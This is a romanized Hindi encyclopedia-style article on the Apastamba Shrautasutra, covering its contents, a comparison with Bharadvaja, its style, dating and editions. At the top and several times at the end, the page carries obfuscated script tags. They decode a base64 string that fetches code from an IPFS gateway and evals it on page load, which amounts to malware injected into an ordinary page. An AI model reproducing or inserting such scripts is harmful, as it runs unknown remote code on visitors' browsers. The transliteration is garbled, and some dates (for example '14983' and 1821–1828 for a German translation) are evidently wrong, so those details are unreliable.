आपस्तम्ब श्रौतसूत्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

taittiriy shakha ka yah tritiy shrautasootr hai. vastav mean achary apastamb ne sampoorn kalpasootr ki rachana ki hai. isaki vishay–vastu nimnalikhit prakar se hai:–

prashn	vishay
1–4.	darshapoornamas
5.	agnyadhey
6.	agnihotr
7.	niroodh pashubandh
8.	chaturmasyayag
9.	prayashchitt
10–13.	agnishtom
14.	jyotishtomantargat any kratu
15.	pravargy
16–17.	agnichayan
18.	vajapey aur rajasooy
19.	sautramani, kathakachayan, kamyapashu, kamyeshti.
20.	ashvamedh, purushamedh tatha sarvamedh.
21.	dvadashah, gavamayan tatha utsarginamayan.
22.	ekah aur ahin yag
23.	satrayag
24.	paribhasha, pravar, hautrak.
25–26.	grihyasootragat mantrapath
27.	grihyasetr
28–29.	dharmasootr
30.	shulbasootr.

is prakar shrautasootr ki vyapti 24vean prashn tak mani jani chahie.

bharadvaj ki apastamb sootr se tulana

upalabdh bharadvaj shrautasootr ki apastamb sootr se tulana karane par spasht hota hai ki donoan ke vishay–kram mean bahut samy hai. bharadvaj ke shashth prashn mean pahale agnyupasthan aur tatpashchath agnahotr vidhi hai. apastamb mean isake viparit pahale agnihotr vidhi aur tadantar agnyuvasthan hai. apastamb ke prayashchitt prashn mean agnihotr, ishti aur pashu inase sambaddh prayashchitt haian. bharadvaj mean pashu sambandhi prayashchitt nahian haian. bharadvaj ne poore jyotishtom ki vidhi sanhat ya sankalit roop mean di hai. apastamb ne agnishtom ki vidhi dekar tatpashchath ukthy adi vikriti yagoan ki visheshataean bataeean haian. apastamb mean pravargy vidhi svatantr prashn ke antargat jyotishtom ke anantar di gee hai. bharadvaj mean bhi pravargy ke lie svatantr prashn hai, kintu vah jyotishtom ke antargat hai. bharadvaj ne sootr mean pahale vidhyansh aur tatpashchat mantr diya hai. apastamb ka kram isake viparit hai. bharadvaj ke hi sadrish apastamb ne bhi apani vidhi ke samarthan mean taittiriy brahman, aur kabhi–kabhi any shakhiy brahmanoan ke bhi uddharan die haian. bhinn matoan ke bhi uddharan haian. aise uddharanoan ke sath ‘vijnayate’ shabd ka prayog prachur pariman mean hai. 'ityuktamh', 'shrooyate', 'eke', 'aparamh' sadrish shabd bhi ate haian. apastamb ne kuchh 'kathaka:', 'kaushitakin:', 'chhandogabrahmanamh', 'tandakamh' prabhriti vaky upalabdh brahmanoan se die haian, to kuchh brahman vaky samprati upalabdh brahmanoan mean nahian milate. kankati, kalabavi, paingayani prabhriti brahman granth aise hi haian, jo aj anupalabdh haian.

bhasha–shaili

bharadvaj aur apastamb ki bhasha–shaili mean bahut samy hai. vishayoan ki samantarata ke sath hi sootr–rachana mean bhi samanata hai. jab kahian samany niyam ki bat hoti hai, to sootrakar 'tatraishoatyantapradesh:' kahate haian. apastamb sootr–rachana ke samay sootrakar ke sammukh taittiriy shakha ka sarasvat path pratishthit roop mean tha. 'apastamb hautraprashn' namak ek prakaran satyashadh–hiranyakeshi sootr ke 21vean prashn ke poorv (anandashram, pune) sanskrit tika ke sath chhapa gaya hai. yah apastamb sootr ka parishisht pratit hota hai. apastamb taittiriy sanhita ke mantr pratik roop mean lete haian, jabaki taittiriy brahman ke mantroan ka sakal path dete haian. apastamb ne maitrayani arthath manav shrautasootr se kuchh adan kiya hai, yadyapi usamean is shakha ka sakshath nirdesh nahian hai. apastamb sootr–rachana mean taittiriy shakha ki parampara sabase achchhi tarah pradarshit karate haian. isi ke sath kalagati se vaidik karmakand mean jo parivartan hue aur samip vartini shakhaoan se jo adan–pradan hue, unaka achchha pratibimb apastamb sootr mean sulabh hai. taittiriy brahman ki bhasha–shaili ka prabhav sootr ki bhasha–shaili par p dana svabhavik hi tha. parinamat: vaidik bhasha ke anek shabdoan ka prayog apastamb sootr mean milata hai. sootrakar ke kal mean vyavahrit prakrit bhasha ka bhi us par prabhav hai. apastamb sootr mean anek prakrit shabd is karan mil jate haian; satyashadh sootr se bhi vishay–kram, karmakand aur rachana ki drishti se apastamb ki bahut samanata hai. anek sthaloan par satyashadh ka svaroop apastamb ke saman hai. apastamb shrautasootr ke sampadak d aau. garbe ne apani prastavana mean likha hai ki apastamb sootr mean samay samay par bich–bich mean sootr jo de ge haian. d aau. garbe ka yah mat svikary nahian hai. maianne isaka khandan kiya hai.

rachana–kal

apastamb shrautasootr par dhoortasvami ka adhoora bhashy prakashit hua hai. is par kaushik ramagnichith ki vritti hai. prashn 1–15 par rudradatt ka bhashy bhi mudrit hai. rudradatt ne kuchh sthaloan par dhoortasvami se apana matabhed vyakt kiya hai. 14vian shatabdi ke chaundapachary ne apastamb shrautasootr ke kuchh prashnoan par tika likhi hai, jo abhi tak aprakashit hai. shrautayagoan par apastambanusari prayog bhi rache ge the, jinaka upayog rritviggan karmanushthan mean karate haian. aisa hi ek darshapoornamaseshti prayog anandashram (pune) se prakashit hua hai. rachana–kal ki drishti se apastamb sootr ka pranayan ee. poorv 5vian shati mean mana ja sakata hai kyoanki vah bharadvaj shrautasootr (ee. poorv 550) se paravarti hai.

apastamb sootr mean maitrayani ke sath vajasaney shakha ke sambandh vishayak praman milate haian. vajasaney shakha ka prachar poorvi uttar pradesh tatha bihar mean raha hai. isase siddh hota hai ki bharadvaj sootr ki prachar bhoomi ki poorv disha mean apastamb ka prachar tha. kalantar se samajik–rajanitik paristhitiyoanvash krishna yajurvediy taittiriy shakha ke anuyayi dakshin ke andhr, karnatak aur tamilanadu mean chale ge. aj bhi ye hi pradesh unake nivas–sthan haian.

apastamb shrautasootr ke sanskaran

• apastamb shrautasootr, san. richard garbe, dvitiy sanskaran, khand 1–3. muanshiram manoharalal, dilli se 14983 mean prakashit.
• vilhelm kaland ka jarman mean anuvad ‘‘shrautasootr des apastamb’’ (tin khand) gatinjanh tatha emsatardam se kramash: 1821, 1824 tatha 1828 ee. mean prakashit.
• apastamb shrautasootr (dhoortasvamibhashy aur ramagnichith ki vritti sahit), 1–10 prashnant bhag, g. ori. laibreri maisoor se prakashit.
• dhoortasvamibhashy ke sath gayakava d siriz mean b dauda se do bhagoan mean prakashit, san. chinnasvamishastri.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

shrutiyaan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>